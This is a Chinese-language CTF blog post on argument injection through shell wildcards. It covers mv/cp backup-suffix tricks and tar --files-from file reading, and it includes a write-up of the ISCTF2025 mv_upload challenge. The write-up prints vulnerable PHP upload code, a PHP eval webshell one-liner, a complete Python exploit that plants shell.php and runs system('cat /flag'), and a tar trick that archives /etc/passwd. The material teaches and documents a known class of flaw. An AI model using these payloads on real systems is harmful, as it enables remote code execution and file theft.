前言

​ 在linux中命令行中,通配符*常被用作一种简化的手段以省去某些繁琐的操作。

​ 例如我要将当前目录的所有的三个文件移动到另一个地方,我可能会执行:

1
mv * /tmp

​ 实际上是将当前目录下的文件全部展开了,即:

1
mv file1 file2 file3 /tmp

​ 但是倘若其中某个文件名是以-作为开头,那么会被解析为参数,而出现一些意料之外的情况,比如说:

image-20250910202637275

​ 在这个例子中,执行mv * ../就相当于执行mv --version ../

​ 这样就达成了一个参数注入的效果。

​ 不过需要注意的是如果是mv ./* ../这样是不行的,因为它展开后会变成mv ./--version ../,这不会被解析为参数,而是作为一个文件名处理。

​ 在awd当中,攻击方常常就用以以-开头的木马来持久化维持权限,例如-abcdef.php这种一句话木马,对于不了解这一知识点的选手,可能会执行rm -abcdef.php这种命令来删除,但是会提示参数错误而删除失败,正确的方式应该是通过rm ./-abcdef.php或者rm -- -abcdef.php来删除。

image-20251205003224842

​ 实验主要使用系统为Ubuntu 20.04,不同发行版间可能会存在些许差异。以下是一些常用命令配合通配符的一些参数注入的利用姿势。

mv/cp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ mv --help
用法:mv [选项]... [-T] 源文件 目标文件
 或:mv [选项]... 源文件... 目录
 或:mv [选项]... -t 目录 源文件...
将<源文件>重命名为<目标文件>,或将<源文件>移动至指定<目录>。

必选参数对长短选项同时适用。
--backup[=CONTROL] 为每个已存在的目标文件创建备份
-b 类似--backup 但不接受参数
-f, --force 覆盖前不询问
-i, --interactive 覆盖前询问
-n, --no-clobber 不覆盖已存在文件
如果您指定了-i、-f、-n 中的多个,仅最后一个生效。
--strip-trailing-slashes 去掉每个源文件参数尾部的斜线
-S, --suffix=SUFFIX 替换常用的备份文件后缀
-t, --target-directory=目录 将所有<源文件>移动至指定的<目录>中
-T, --no-target-directory 将参数中所有<目标文件>部分视为普通文件
-u, --update 仅在<源文件>比目标文件更新,或者目标文件
不存在时进行移动操作
-v, --verbose 对正在发生的操作给出解释
-Z, --context 将目标文件的 SELinux 安全上下文设置为
默认类型
--help 显示此帮助信息并退出
--version 显示版本信息并退出

备份文件的后缀为"~",除非以--suffix 选项或是 SIMPLE_BACKUP_SUFFIX
环境变量指定。版本控制的方式可通过--backup 选项或 VERSION_CONTROL 环境
变量来选择。以下是可用的变量值:

none, off 不进行备份(即使使用了--backup 选项)
numbered, t 备份文件加上数字进行排序
existing, nil 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份
simple, never 永远使用普通方式备份

GNU coreutils 在线帮助:<https://www.gnu.org/software/coreutils/>
请向 <http://translationproject.org/team/zh_CN.html> 报告 mv 的翻译错误
完整文档请见:<https://www.gnu.org/software/coreutils/mv>
或者在本地使用:info '(coreutils) mv invocation'

-b--suffix联合设置任意文件后缀

示例

1
mv * /var/www/html

​ 如果在当前目录下存在以下文件:

  • shell.
  • -b
  • --suffix=php

​ 第一次执行:

1
mv * /var/www/html

​ 相当于执行

1
mv -b --suffix=php shell. /var/www/html

将当前目录下的 shell. 文件移动到 Web 目录 /var/www/html/ 中;

如果该目录中已存在名为 shell. 的文件,则将其**备份为 shell.php**,然后再把新的 shell. 移进去。

​ 第一次执行前/var/www/html不存在shell.文件,如图:

image-20251205005235193

​ 第二次执行:

image-20251205005817889

cp也支持-b-suffix参数,同样可被利用,在此不再赘述。

题目示例

​ 结合一个题目可以更好地理解这一点:ISCTF2025-mv_upload

​ dirsearch可以扫到备份文件index.php~获取源码:

image-20250910195029262

​ 在给出hint1:

​ “你知道的,我一向喜欢白盒审计,这不,小蓝鲨每次用vim出题都习惯设置一个备份,但这回粗心的他还没把备份文件删掉就匆匆上传题目了”

​ 后,其实也不需要扫描目录,vim通过set backup设置备份文件,默认后缀就是~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录

$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];

$message = '';
$filesInTmp = [];

// 创建目标目录
if (!is_dir($targetDir)) {
mkdir($targetDir, 0755, true);
}

if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}

// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
$uploadedFiles = $_FILES['files'];
foreach ($uploadedFiles['name'] as $index => $filename) {
if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
$message .= "文件 {$filename} 上传失败。<br>";
continue;
}

$tmpName = $uploadedFiles['tmp_name'][$index];

$filename = trim(basename($filename));
if ($filename === '') {
$message .= "文件名无效,跳过。<br>";
continue;
}

$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

$extension = trim($extension, '.');

if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}

$destination = $uploadDir . $filename;

if (move_uploaded_file($tmpName, $destination)) {
$message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
} else {
$message .= "文件 {$filename} 移动失败。<br>";
}
}
}

// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
$handle = opendir($uploadDir);
if ($handle) {
while (($file = readdir($handle)) !== false) {
if (is_file($uploadDir . $file)) {
$filesInTmp[] = $file;
}
}
closedir($handle);
}
}

// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file}$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>多文件上传服务</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: auto; }
.alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
ul { list-style-type: none; padding: 0; }
li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
</style>
</head>
<body>
<div class="container">
<h2>多文件上传服务</h2>

<?php if ($message): ?>
<div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
<?= $message ?>
</div>
<?php endif; ?>

<form method="POST" enctype="multipart/form-data">
<label for="files">选择文件:</label><br>
<input type="file" name="files[]" id="files" multiple required>
<button type="submit" name="upload">上传到临时目录</button>
</form>

<hr>

<h3>待确认上传文件</h3>
<?php if (empty($filesInTmp)): ?>
<p>暂无待确认上传文件</p>
<?php else: ?>
<ul>
<?php foreach ($filesInTmp as $file): ?>
<li><?= htmlspecialchars($file) ?></li>
<?php endforeach; ?>
</ul>
<form method="POST">
<button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
</form>
<?php endif; ?>
</div>
</body>
</html>

​ 可以看到对文件名存在过滤,直接上传木马不可行。

​ 但是可以注意到代码是从临时目录使用mv *移动到储存目录,而mv *这种用法会造成参数注入问题,即-开头的文件名会被当作参数进行解析,查看mv的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ mv --help
用法:mv [选项]... [-T] 源文件 目标文件
 或:mv [选项]... 源文件... 目录
 或:mv [选项]... -t 目录 源文件...
将<源文件>重命名为<目标文件>,或将<源文件>移动至指定<目录>。

必选参数对长短选项同时适用。
--backup[=CONTROL] 为每个已存在的目标文件创建备份
-b 类似--backup 但不接受参数
-f, --force 覆盖前不询问
-i, --interactive 覆盖前询问
-n, --no-clobber 不覆盖已存在文件
如果您指定了-i、-f、-n 中的多个,仅最后一个生效。
--strip-trailing-slashes 去掉每个源文件参数尾部的斜线
-S, --suffix=SUFFIX 替换常用的备份文件后缀
-t, --target-directory=目录 将所有<源文件>移动至指定的<目录>中
-T, --no-target-directory 将参数中所有<目标文件>部分视为普通文件
-u, --update 仅在<源文件>比目标文件更新,或者目标文件
不存在时进行移动操作
-v, --verbose 对正在发生的操作给出解释
-Z, --context 将目标文件的 SELinux 安全上下文设置为
默认类型
--help 显示此帮助信息并退出
--version 显示版本信息并退出

备份文件的后缀为"~",除非以--suffix 选项或是 SIMPLE_BACKUP_SUFFIX
环境变量指定。版本控制的方式可通过--backup 选项或 VERSION_CONTROL 环境
变量来选择。以下是可用的变量值:

none, off 不进行备份(即使使用了--backup 选项)
numbered, t 备份文件加上数字进行排序
existing, nil 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份
simple, never 永远使用普通方式备份

GNU coreutils 在线帮助:<https://www.gnu.org/software/coreutils/>
请向 <http://translationproject.org/team/zh_CN.html> 报告 mv 的翻译错误
完整文档请见:<https://www.gnu.org/software/coreutils/mv>
或者在本地使用:info '(coreutils) mv invocation'

​ 使用-b参数,会使得在移动操作前,生成一个带有~的备份文件,例如原本当前目录下有个index.php文件,那么如果再从其他地方也mv过来一个叫index.php的文件,那么原来的index.php就会变为index.php~

​ 通过结合--suffix参数,便可以任意设置后缀。

​ 即:

  1. 先上传木马文件shell.到临时目录,同时将其移动到储存目录
  2. 上传shell.-b--suffix=php至临时目录,同时再将这三个文件移动至储存目录,触发参数注入生成shell.php
  3. rce读取flag

​ 完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

url = "http://127.0.0.1:8080"

def upload_file(filename, content):
post_file = {
"files[]": (filename, content, "application/octet-stream")
}

post_data = {
"upload": "1"
}

res = requests.post(url, files=post_file,data=post_data)
return res.text

def move_file():
post_data = {
"confirm_move": "1"
}
res = requests.post(url, data=post_data)
return res.text

def rce(cmd):
res = requests.post(url+"/upload/shell.php", data={"cmd": cmd})
return res.text

if __name__ == "__main__":
upload_file("shell.", b"<?php eval($_POST['cmd']); ?>")
move_file()

upload_file("shell.", b"")
upload_file("-b", b"")
upload_file("--suffix=php", b"")
move_file()

flag = rce("system('cat /flag');")
print(flag)

​ 这道题出给ISCTF的本意是让大家关注参数注入这一问题,算是一个挺不常见的考点,显得比较新颖一些。

​ 不过出给新生赛果然还是难度有些高了,最后的风评反响也不太好,下次给新生赛就还是老老实实出些常规题了 இдஇ

tar

利用--files-from目录穿越以任意文件读取

示例

​ 假如我想要打包归档当前目录下的所有文件,那么我可能会执行:

1
tar -cvf test.tar *

​ 如果在当前目录下存在以下文件:

  • 1.txt (包含指定路径)
  • --files-from=1.txt

​ 相当于执行:

1
tar -cvf test.tar 1.txt --files-from=1.txt

将文件 1.txt1.txt 文件中列出的所有文件一起打包到 test.tar 中。

1.txt中写入/etc/passwd

image-20251205030907392

/etc/passwd被打包进了tar包里

题目示例

​ 还没出:(